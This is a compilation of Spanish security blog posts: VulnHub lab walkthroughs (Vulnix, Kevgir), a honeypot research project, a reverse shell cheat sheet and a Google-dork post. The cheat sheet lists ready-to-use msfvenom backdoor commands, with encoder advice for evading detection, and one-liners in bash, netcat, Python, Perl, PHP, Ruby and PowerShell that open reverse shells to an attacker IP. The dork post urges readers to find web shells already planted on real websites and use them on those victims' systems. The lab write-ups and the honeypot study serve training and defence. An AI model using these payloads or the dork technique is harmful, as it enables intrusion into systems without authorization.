Auditando a Vulnix - Vulnhub

Buenas Haxors! En esta ocasión vamos a mostraros un Walkthrough completo de como vulnerar y acceder a la maquina VULNIX , que podemos encontrar en VULNHUB. Esta maquina es un sistema vulnerable preconfigurado y diseñado para aprender técnicas de intrusión sin meternos en líos. 

"Ai amo que si que vamos a hacer maldades pero no, no fuera.... todo queda dentro de nuestro cubil!... si de eso que hace usted cuando dice ir al baño pero con el teclado... quiiiiite no me toque con esa mano marrano! puaj!"

Lo primero de todo vamos a descargar y  montar la maquina virtual en nuestro equipo y a arrancar otra maquina en paralelo con Kali/Backtrack.

"Siii amo se puede tener una maquina dentro de una maquina...¿que dice? que si dentro de esa se puede otra??  conecte mas potencia a esta patata y probamos a hacer una MAQUICEPTION cenutrio! ... ."

Para localizar dentro de la red la maquina a la que estábamos intentando acceder y auditar hemos lanzado un PING SWEEP con NMAP.

PING SWEEP - Es una técnica usada para determinar que IPs se encuentran en funcionamiento dentro de una red, haciendo un recorrido por todas ellas lanzando mensajes ICMP ECHO REQUEST y cuando encuentra una maquina activa recibe un ICMP ECHO REPLY.

nmap -sP 192.168.174.*

Como se puede apreciar en la imagen la maquina que buscamos en este caso es : 192.168.174.128

Ahora vamos a ser un poco más concretos y vamos a escanear en busca del sistema operativo de la maquina:

nmap -O 192.168.174.128

Ahora sabemos que la maquina es un servidor con un sistema Operativo Linux que corre la versión de Kernel 2.6.32 – 3.9. Escaneamos la maquina con mas detalle para saber que servicios están corriendo en ella y que puertos tiene abiertos:

"Bien... amo es un linux... no la patata calentorra que tiene usted con WINDOWS... que dice?? que le actualice al 10?? esta usted de broma no?? que se lo ha pedido la maquina?? compruebe que no pida que usted se suicide jijijijij"

nmap -O -sV 192.168.174.128

Vemos que tiene varios puertos que son interesantes en este caso.

SMTP - Es el protocolo estándar de Internet para el intercambio de correo electrónico y responde a las siglas de Protocolo Simple de Transmisión de Correo (Simple Mail Transfer Protocol).

Para ser un poco más claro,  al momento de enviar un correo electrónico utilizamos como medio un servidor SMTP que es el encargado de hacer llegar el correo a su destino, lo podemos comparar con el servicio postal, para hacer entrega del correo necesitamos de tres datos importantes el origen, el destino y el medio que es el servidor SMTP.

Este protocolo en concreto nos puede dar la llave a través de auxiliares de metasploit a nombres de usuarios del sistema que lo utilizan así que lanzamos metasploit para ver cual es el resultado:

"mire amo... este programa es la cosa mas malvada jamas vista! permite atacar todo tipo de dispositivos! ... no la verja del redil de ovejas del aldeano no... So guarro! bueno... quien sabe si este hombre tiene mas luces que usted (cosa fácil...)... ya miraremos por shodan... a ver si vemos algún PLC"

1 2 3 4 5 6 7

service postgresql start service metasploit start msfconsole use auxiliary/scanner/smtp/smtp_enum show options set rhosts 192.168.174.128 run

Ahí se puede ver en el resultado de Metasploit que nos ha sacado 3 usuarios validos:
USER, UUCP y www-data

Como tenemos ya usuarios vamos a utilizar FINGER

FINGER - El daemon fingerd devuelve información sobre los usuarios conectados actualmente a un sistema principal remoto especificado. Si ejecuta el mandato finger especificando un usuario en un sistema principal determinado, obtendrá información específica sobre dicho usuario.

"no no y no no me pegue! no quiero bromas con algo llamado "finger" ... ya que por mi ese suyo se lo puede meter por .... donde se rompen los sacos..."

finger user@192.168.174.128 

Al lanzar el comando nos retorna esta información sobre el usuario USER:

El usuario USER según esto tiene como Shell predeterminada BASH y como Directorio propio /home/user

Visto que tenemos un usuario valido para poder entrar por el puerto22 SSH de la maquina lanzamos un ataque por fuerza bruta con XHydra contra dicho protocolo para conseguir la clave de usuario de USER:

Ya tenemos la clave del usuario USER que es LETMEIN así que vamos a ingresar en el servidor por SSH aportando las credenciales que hemos capturado.

ssh user@192.168.174.128

Nos permite la entrada sin problemas así que navegamos por las carpetas que están disponibles y probamos comandos para saber que alcance tiene este usuario:

sudo su

Claramente no nos permite hacernos con permisos administrador a no ser que tengamos la clave para ello.Como vemos que no nos permite grandes cosas (Si trastead... probad a abrir carpetas... y buscad!) vamos a ver si existe algún indicio de otros usuarios que podamos utilizar para continuar. Durante la búsqueda si entramos en la carpeta /home nos topamos esto:

"si yo tuviera permisos administrador.... ai amo... que seria de usted... 1º le arrearia con patas de silla en los deditos pequeños de los pies... 2º con los bordes de una mesa en los codos...MIERDA! me ha oido... trae un bate de beisbol!!!! ehh amo no era para usted... ehhhh era para..... ayyyy ayyyy!"

ls -a 

Encontramos otro usuario o al menos una carpeta que nos esta denegando el permiso de entrada llamada vulnix. Para comprobar si esto es simplemente una carpeta o si se trata de un usuario accedemos al archivo /etc/passwd.

Desde nuestra maquina atacante comprobamos si el equipo auditado contiene carpetas compartidas:

showmount --exports 192.168.174.128

Y resulta que la carpeta compartida es la carpeta propia del usuario VULNIX… lo cual no tenemos acceso.

Como la carpeta es compartida lo que vamos a hacer es simular que en nuestro sistema esta esa misma carpeta intentando ganar acceso por ssh al usuario Vulnix de la maquina.

Creamos en nuestra maquina una carpeta que se llame /mnt/vulnix (mnt porque es la terminología para las carpetas montadas en red)

mkdir /mnt/vulnix

Asociamos esta carpeta con la que se encuentra en el servidor VULNIX

mount 192.168.174.128:/home/vulnix /mnt/vulnix

Creamos un usuario con las mismas características que el usuario VULNIX original para poder utilizar todas sus funcionalidades originales sin que genere ningún tipo de error :

useradd vulnix -u 2008

Generamos con ssh-keygen una clave RSA para nuestro usuario VULNIX que nos permitira autenticarnos en la maquina original.

ssh-keygen

Y copiamos la clave RSA en la carpeta tmp que es la única carpeta accesible para todos los usuarios del sistema.

cp /root/.ssh/id_rsa.pub /tmp

Cambiamos el propietario del archivo rsa que hemos dejado en tmp:

chown vulnix:vulnix /tmp/id_rsa.pub

Nos logueamos con el usuario que hemos creado y traspasamos la clave RSA que habíamos creado inicialmente a nuestro usuario dentro de su carpeta .ssh para que al entrar por ssh nos lea directamente el archivo y poder engañar al sistema.

1 2 3

su vulnix mkdir /mnt/vulnix/.ssh cat /tmp/id_rsa.pub >> /mnt/vulnix/.ssh/authorized_keys

Nos logueamos vía ssh en la maquina a atacar con el usuario vulnix y voila!

ssh vulnix@192.168.174.128

Tras navegar por las diferentes carpetas y ver el alcance que tiene este usuario probamos a ver si tiene algún permiso root al ejecutar algo:

1

sudo -l

Según indica si se abre el archivo /etc/exports con el comando sudoedit nos permite hacer cambios sobre el archivo y guardarlo con permiso root.

Si cambiamos el archivo original en el que pone ROOT_SQUASH y añadimos el NO _ por delante nos encontramos que :

• root_squash: El usuario root de los clientes se mapea a nobody: Así un cliente no puede dejar malware para que otro lo ejecute, así com el setuid bit.

• no_root_squash: Mediante dicha opción desactivamos esta característica de seguridad, permitiendo que el root de los clientes acabe como root en el sistema de ficheros que se exporta (y por lo tanto, en el resto de clientes).

Con lo cual lo cambiamos y lo dejamos con NO ROOT SQUASH para ganar privilegios root en archivos.

Para que estos cambios surtan efecto desmontamos la unión de la carpeta VULNIX y reiniciamos el equipo atacado.

umount /mnt/vulnix

Esperamos a que la maquina vuelva a funcionar (lo comprobamos haciéndole ping) y volvemos a montar la carpeta compartida de vulnix.

mount 192.168.174.128:home/vulnix /mnt/vulnix

Una vez conectado como sabemos que la Shell que utilizan los usuarios de la maquina es BASH lo que hacemos es copiar BASH en nuestra carpeta del usuario vulnix de nuestro sistema y le cambiamos los permisos pudiendo manejarse como root:

1 2	cp /bin/bash /mnt/vulnix chmod 4777 /mnt/vulnix/bash

Hecho esto vamos a volver a acceder por SSH al servidor VULNIX para intentar lanzar una Shell de ROOT.

ssh vulnix@192.168.174.128

Estando dentro de la maquina accedemos a la carpeta donde se aloja Bash y la ejecutamos con el comando -p para que nos coja las credenciales RSA que hemos creado dentro de la carpeta compartida:

/home/vulnix/bash -p

Como se puede observar ahora ya somos dueños y señores de todo y podemos hacer lo que nos venga en gana por el sistema teniendo control absoluto sobre el. Así que aprovechamos para poder mirar en la carpeta root por si encontramos información interesante.

1 2	cd /root/ ls -a

cat thropy.txt

"Amo tenemos el trofeo pero creo que no le va a gustar... es algo mas feo que su jeto.... jijijij y es decir eh... fiese de mi que desde que rompió el ultimo espejo al mirarse... no no me castigue dentro del armario colgado de los meñiques! maldito humano de seso liviano! "

FINAL!

CONCLUSIÓN

Como conclusión y subsanación de los problemas encontrados podemos indicar este tipo de arreglos:

1º Una mejor política de contraseñas.
O bien utilizar un generador de contraseñas seguras que además obligue al usuario a cambiar cada X tiempo la contraseña o bien que la contraseña contenga mas de 8 dígitos y que tenga símbolos números letras, mayúsculas y minúsculas. Para hacer que sea mucho mas complicado para el atacante sacarlas a fuerza bruta.

2º Evitar las carpetas compartidas
En este caso el mayor agujero de seguridad han sido las carpetas compartidas de un usuario que junto a la mala configuración nos ha dado la entrada al servidor.


3º Utilizar protocolos seguros
En el caso de SMTP nos ha dado información que en caso de estar bien configurado no debería de dar… lo que nos ha dado pie a comenzar el ataque.

4º Cerrar Puertos
Otro ejemplo de mala configuración es el caso de FINGER ya que si no es necesario debería de estar cerrado para la red para evitar mostrar datos innecesarios. Los Puertos en la mayoria de sistemas se pueden trucar para mostrar informacion que no sea veraz y engañar a un atacante.

5º Limitar accesos

Lo máximo posible teniendo en cuenta las necesidades del usuario, no vamos a cortarles todo ya que hay cosas que pueden ser necesarias para desempeñar su trabajo.

Implementar unas reglas a nivel de empresa para que tras X números de intentos se bloquee ese usuario y se contacte con el usuario desde sistemas para desbloquearlo con una clave previamente acordada.

Hasta la próxima chavales! Espero que sirva tanto de aprendizaje como de diversion!

Nebu 

¿Quieres una Shell Reversa? Hay donde elegir

Buenas a todos,

En la entrada de hoy haremos un breve resumen de las diversas formas de generar una Shell reversa y así tener todas las opciones en un mismo sitio para consulta rápida.
Empecemos por Metasploit y las diferentes formas para generar un meterpreter. Para ello vamos a utilizar la herramienta msfvenom del framework Metasploit.

Binarios

Windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PUERTO> -f exe > meterpreter.exe

Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PUERTO> -f elf > meterpreter

Mac

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<IP> LPORT=<PUERTO> -f macho > meterpreter

Web

PHP

msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PUERTO> -f raw | sed 's/\/\/<?php/<?php/' > shell.php && echo ' ?>' >> meterpreter.php

ASP

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PUERTO> -f asp > meterpreter.asp

JSP

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PUERTO> -f raw > meterpreter.jsp

WAR

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PUERTO> -f war > meterpreter.war

Scripts

Powershell

msfvenom -p cmd/windows/powershell_reverse_tcp LHOST=<IP> LPORT=<PUERTO> -f raw > meterpreter.ps1

Python

msfvenom -p cmd/unix/reverse_python LHOST=<IP> LPORT=<PUERTO> -f raw > meterpreter.py

Bash

msfvenom -p cmd/unix/reverse_bash LHOST=<IP> LPORT=<PUERTO> -f raw > meterpreter.sh

Perl

msfvenom -p cmd/unix/reverse_perl LHOST=<IP> LPORT=<PUERTO> -f raw > meterpreter.pl

Código

Además podemos generar programas en diferentes lenguajes que ejecutaran la Shell. Podemos ver el listado de los diferentes lenguajes con msfvenom --help-formats
Por ejemplo, para generar un programa en C que lance una Shell, ejecutaríamos:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PUERTO> -f c > meterpreter.c

Bastaría compilarlo y tendríamos nuestro backdoor/shell.
Destacar un par de opciones interesantes de msfvenon, como son, “--bad-chars”, para evitar ciertos caracteres, como -b'\x00\xff' y la otra opción es la de --encoder con la que podemos codificar nuestro meterpreter bajando el ratio de detección.



En otras ocasiones querremos ejecutar la Shell directamente o no tendremos Metasploit a mano.
Para esas ocasiones vamos a ver algunas opciones y alternativas:

Powershell

$sm=(New-Object Net.Sockets.TCPClient("<IP>",<PUERTO>)).GetStream();[byte[]]$bt=0..255|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)}

Bash

bash -i >& /dev/tcp/<IP>/<PUERTO> 0>&1

o

0<&196;exec 196<>/dev/tcp/<IP>/<PUERTO>; sh <&196 >&196 2>&196 

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<IP>",<PUERTO>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Perl

perl -e 'use Socket;$i="<IP>";$p=<PUERTO>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Perl (windows)

perl -MIO::Socket -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr => "<IP>:<PUERTO>");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

PHP

php -r '$sock=fsockopen("<IP>",<PUERTO>);exec("/bin/sh -i <&3 >&3 2>&3");'

Ruby

ruby -rsocket -e'f=TCPSocket.open("<IP>",<PUERTO>).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Ruby (windows)

ruby -rsocket -e 'c=TCPSocket.new("<IP>","<PUERTO>");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' 

Netcat (opcion '-e')

nc -e /bin/sh <IP> <PUERTO>

Netcat (sin '-e')

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <IP> <PUERTO> >/tmp/f

o

/bin/sh | nc <IP> <PUERTO>

Telnet

rm -f /tmp/p; mknod /tmp/p p && telnet <IP> <PUERTO> 0/tmp/p 

Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/<IP>/<PUERTO>;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

xterm

xterm -display <IP>:1

Espero que sean de utilidad y si conocéis algún método forma más por favor comentarlo y así podremos incluirla para contar con un recopilación más completa.


Belane

Hacking con buscadores. Episodio III. La Venganza de las Shells

Saludos hackers!!

Os traigo una nueva entrega de la saga de hacking con buscadores.

En esta ocasión, vamos a buscar shells en PHP, tales como C99Shell y R57Shell.

Podemos buscar estas puertas traseras en sitios webs que ya han sido comprometidos por otr@s, con el fin de aprovecharnos del trabajo de otros para poder "investigar" en las máquinas objetivo.

Para ello usaremos los siguientes dorks:

• "your ip * server ip" uname sysctl.

Entrando en alguna de ellas, podremos ver la shell, y todo lo que podemos hacer en ella para controlar el sistema.

 Y otra versión distinta de la shell R57:

Con la siguiente dork veremos más shells:

•  "your ip * server ip" "uname -a".

Y podemos ver los siguientes tipos de shell:

Como se puede observar, son varios sitios webs que están bajo el control de una o varias personas, teniendo acceso a todo lo que hacen en su sistema. El cual anteriormente fue comprometido de alguna manera.

Son más shells las que existen, solo he mencionado de las más conocidas, pero puede haber miles de sitios webs con puertas traseras como estas, y que los propietarios de dichos sitios no tienen ni la menor idea de que su sistema, toda la información, y todo lo que ell@s hacen, está en poder de los crackers.

DeceptionPI - Estudiando a los atacantes mediante sistemas señuelo

Buenos días hackers!!

En el anterior post sobre Introducción a los sistemas señuelo - Honeypots , vimos una pequeña introducción sobre el tema y os prometimos esta entrada, una prueba de concepto en la que aprenderemos un poquito más sobre el apasionante mundo de los sistemas señuelos (Honeypots).

Antes de empezar con la prueba de concepto, queremos explicar en que partes de la red podemos montar estos sistemas, así como las ventajas e inconvenientes que conlleva cada una.



Ubicación de los Honeypots

La ubicación de los Honeypots, es una parte fundamental y que deberemos tener en cuenta, con el fin de maximizar la efectividad y el número de ataques que recibimos. Una mala implementación, hará que los atacantes abandonen el sistema tras conseguir el acceso, o simplemente no atacarán.


Antes del Firewall (Front of Firewall): 
Al implementar nuestro Honeypot antes del firewall, evitaremos que nuestra red local (LAN) sea vulnerada, ya que el Honeypot se encontrará fuera de la zona protegida por el firewall.
Es la ubicación donde menos riesgo se suministra a la red.
Esta es la principal ventaja que nos ofrece esta ubicación, pero también tiene algunas desventajas como por ejemplo: evitamos la detección de atacantes internos (en caso de haberlos), generamos grandes volúmenes de tráfico, por la facilidad que ofrecemos para ser comprometidos.

Después del Firewall (Behind the Firewall): 
En esta ubicación, el Honeypot se ve afectado por las reglas de filtrado del firewall, lo que conlleva una configuración previa para permitir el tráfico entrante.
Esto permite la identificación de atacantes tanto externa como interna, sin embargo, ponemos en riesgo todo nuestro sistema, ya que el atacante tendrá vía libre a toda nuestra red, si logra comprometer el Honeypot.
Para minimizar este riesgo, podremos incluir un firewall extra en el Honeypot, que limite el tráfico de salida (reverse firewall).

En la DMZ (Zona Desmilitarizada): 
Personalmente, este es la ubicación que más me convence, ya que permite situar en el mismo segmento de red a nuestro Honeypot con nuestros servidores de producción, controlando el peligro ya que existe un firewall que lo aisla del resto de nuestra red.
Es la arquitectura ideal para organizaciones o empresas y permite detectar ataques tanto externos como internos, con una simple reconfiguración del firewall, ya que el Honeypot se encuentra en una zona de acceso público.

Con los conceptos claros, ahora pasamos a mostraros la prueba de concepto. Este proyecto ha sido creado por Juan Velasco y Diego Jurado, y presentado al reto de jovenes profesionales de ISACA, el cual se celebrará el día 27 en el evento de MundoHackerDay (Madrid).



DeceptionPI

Vamos a realizar un breve resumen sobre el proyecto realizado. Quien quiera, puede descargar nuestro trabajo en formato PDF en el siguiente enlace: https://lnkd.in/ddKGe5y

DeceptionPI se centra en el análisis de las tendencias de ataques y malware en sistemas señuelos para informática forense. Nace de la necesidad de obtener y analizar los diferentes tipos de amenazas informáticas mediante la emulación de vulnerabilidades, concretamente ataques Secure Shell (SSH).

Implementamos y configuramos una pequeña red de sensores, integrados en plataformas de pequeñas dimensiones (Raspberrys) y situados tanto en Madrid como Granada y mediante los cuales recogeremos y clasificaremos datos, malware y otra información de interés.

Este es el esquema de red que implementamos:

Para la configuración de nuestros sistemas en las raspberrys, utilizamos el sistema operativo "Raspbian", junto con la integración de Honeypots Cowrie, basados en la detección de ataques SSH.
Durante este proceso, tuvimos que configurar a conciencia nuestros sistemas, emulando una apariencia completamente real, para que los atacantes no detectaran que se encontraban en un Honeypot, y abandonasen sus ataques.

Una vez configurados los sistemas, estuvimos recogiendo ataques de todas partes del mundo durante una semana y decidimos crear una página web en la cual pudiésemos mostrar los resultados de forma visual.
Esta es la web: http://deceptionpi2016.tk/

Entre los ataques recibidos, podemos mostrar (entre otros) cuales son los diez países más atacantes, las combinaciones de usuarios y contraseñas más utilizadas, o incluso la geolocalización ip de los atacantes.

Pero sin duda, una de las partes más interesantes del proyecto fue el análisis de los resultados.

Pudimos recoger muestras de malware de todo tipo, las cuales fueron estudiadas para determinar el impacto y el tipo de malware recibido. 

Utilizamos listas de reputación conocidas como virustotal para saber si los hashes ya habían sido detectados anteriormente o por el contrario, se trataba de nuevas tendencias de malware.

También podemos determinar si la IP atacante pertenece a una botnet, consultando en listas de reputación de bots. 

Para esto, hemos utilizado un script implementado por @rbelane el cual nos permite determinar de una lista de IP's, cuales de ellas forman parte de una botnet.

Recomendaciones

Hemos detectado hasta 3200 ataques por día en nuestros sensores, lo cual nos muestra que todos nos encontramos expuestos, y que todos somos vulnerables si no configuramos nuestros servicios de manera correcta.

Hemos sido capaces de detectar nuevas tendencias de ataque, nuevos patrones, detecciones de malware y por eso os recomendamos:

1. Cambiar el puerto SSH por defecto.
2. No permitir la autenticación por defecto (root o 1234)
3. Implementar medidas contra ataques por fuerza bruta.
4. Uso de contraseñas más fuertes.
5. Hacer uso de las opciones host.allow y host.deny , o configuración de reglas mediante iptables para especificar desde que dirección se va a permitir el acceso y desde cuáles no.

Espero que les haya gustado esta entrada. Esto es tan solo una mínima parte de nuestro proyecto, pero como ya he dicho anteriormente, podéis descargar nuestro trabajo, con el fin de conocer todos estos datos de manera más detallada.
Nuestro proyecto fue seleccionado, y expondremos mañana en mundohackerday
Os esperamos.

"To make a good defense, you have to know how they attack."

Guía Kevgir Parte (II)

Buenas tardes hackers, continuamos con la segunda parte y última de la PoC. En la anterior vimos de manera general los servicios disponibles en el servidor y la explotación del FTP y Tomcat.

NFS 2049
El NFS, es un servicio para poder compartir carpetas en la red. Mediante una llamada de procedimiento remoto RPC, se muestran los programas en equipos remotos con el comando rpcinfo. Si ejecutamos showmount, muestra la información de montaje en el servidor NFS. Montamos con mount el backup, previa creación de la carpeta en /tmp/nfs en la maquina victima y copiamos el .zip a nuestra maquina kali linux. 
De esta forma, mediante el servicio NFS, obtenemos un backup con información posiblemente muy útil. 

El archivo .zip se encuentra protegido con contraseña. Por tanto mediante un ataque por diccionario obtendremos dicha pass. Descomprimimos el archivo.

Usando grep, haremos una búsqueda recursiva de la password, en la carpeta html

JOOMLA 8081

Es un sistema de gestión de contenidos (CMS). Permite crear sitios dinámicos e interactivos. 
Con la consola de Metasploit, usando un auxiliar identificaremos la versión.

Haciendo uso de robots.txt, nos lista una serie de directorios de Joomla.

Hacemos nikto, para realizar un escaneo en busca de vulnerabilidades web

Como pueden observar, nikto es una potente herramienta que nos arroja información bastante útil para nuestra fase de pentesting.

Vista esta vulnerabilidad, ya podemos ir navegando en los distintos directorios! 
Pero antes de nada pasaremos un escaner para analizar las vulnerabilidades del CMS con joomscan.

Existen 19 vulnerabilidades encontradas. Explotaremos una de ellas Joomla Remote Admin Password Change Vulnerability.
Escribimos la URL que nos indica y en el campo token escribimos el siguiente carácter '. Una vez nos de la posibilidad de cambiar la contraseña, ya podremos acceder al panel de administración de Joomla. 

A partir de este momento, tenemos la posibilidad de modificar absolutamente todo del sitio web como administradores que somos. 
Desde la configuración global, podemos modificar por el ejemplo el nombre del sitio.

Configuración del sistema

En configuración del servidor, modificamos el media setting para permitir archivos PHP.

También nos arroja información de la existencia de una BBDD MySQL.

En Media Manager, creamos una carpeta para subir un script escrito en PHP, con el fin de ganar un shell

La subimos y el resultado es negativo, Possible IE XSS Attack found
Habrá que probar suerte con otro servicio, y "gaining access" con el mismo script PHP.


REDIS 6379
Redis es un motor de base de datos en memoria, basado en el almacenamiento en tablas de hashes (clave/valor) pero que opcionalmente puede ser usada como una base de datos persistente. Más información aquí

A través de Telnet, comprobamos si Redis tiene algún tipo de autenticación.

Bingo! No existe ningún tipo de seguridad.
Verificamos más información del sistema mediante el siguiente comando.

Mediante un auxiliar de Metasploit, podemos obtener más información del sistema

Usando otro auxiliar, podemos aprovechar la funcionalidad expuesta por Redis para lograr subir archivos. Quizás sea posible subir la shell escrita en PHP, anterior y así "gaining access". 

 

Mediante este método se ha podido subir la shell. A continuación lo único que habrá que hacer es interactuar con la URL y probar si nos devuelve el resultado tras la ejecución de los comandos.

El resultado es simplemente una shell de usuario en el navegador.



Jenkins 9000

Simplemente usando un auxiliar y un exploit en Metasploit, obtenemos el usuario y contraseña del login, y una sesión meterpreter. 

Ejecutamos el auxiliar

Login succesful admin:hello ;)

Ahora ejecutamos el siguiente exploit.

Con esto tendríamos una de las muchas shell conseguidas en esta PoC, con la diferencia que obtenemos en esta una sesión meterpreter. Una vez llegado a este punto podemos eejcutar una serie de opciones disponibles en meterpreter además de la shell de usuario obtenida.

Con esto, ya quedaría terminada esta pequeña guia sobre esta maquina vulnerable. No es complicada la explotación de este servidor, y sirve de práctica para nuevos iniciados en este mundo del pentesting para así seguir desarrollando vuestras habilidades como hackers.
Más adelante, se irán desarrollando más guías sobre nuevos retos que vayan surgiendo, para que sirva de ayuda para aquellos que quieran hacerla. 

Un saludo, naivenom.